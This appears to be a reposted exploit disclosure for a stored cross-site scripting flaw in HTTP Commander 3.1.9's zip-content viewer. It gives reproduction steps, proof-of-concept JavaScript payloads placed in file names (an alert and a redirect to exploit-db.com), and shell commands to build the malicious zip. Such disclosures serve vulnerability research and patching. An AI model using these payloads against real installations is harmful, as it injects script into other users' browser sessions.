HTTP Commander 3.1.9 Cross Site Scripting

2022.01.15
Credit: Oscar Sanden
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Exploit Title: HTTP Commander 3.1.9 - Stored Cross Site Scripting (XSS) # Date: 07/01/2022 # Exploit Author: Oscar Sandén # Vendor Homepage: https://www.element-it.com # Software Link: https://www.element-it.com/downloads.aspx # Version: 3.1.9 # Tested on: Windows Server 2016 [Description] There is a stored XSS in the 'Zip content' feature of the HTTP commander application. The vulnerable field is the filename of the files inside the zip. This vulnerability exists in 3.x of the HTTP commander application. [Steps to reproduce] 1) Create a file with a xxs payload in its name. Examples: <img src=x onerror=alert(1)>.txt <img src=x onerror="document.location='https:'+String.fromCharCode(47)+String.fromCharCode(47)+'exploit-db.com'">.txt Or some other JS you like. 2) Zip the files 3) Upload the ZIP-file 4) In HTTP commander, right click the file and select ZIP-content. 5) If the files are in a subfolder, expand it until the filenames are shown. [Exploit] touch payload/<img src=x onerror=alert(1)>.txt Zip -r test.zip /payload


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top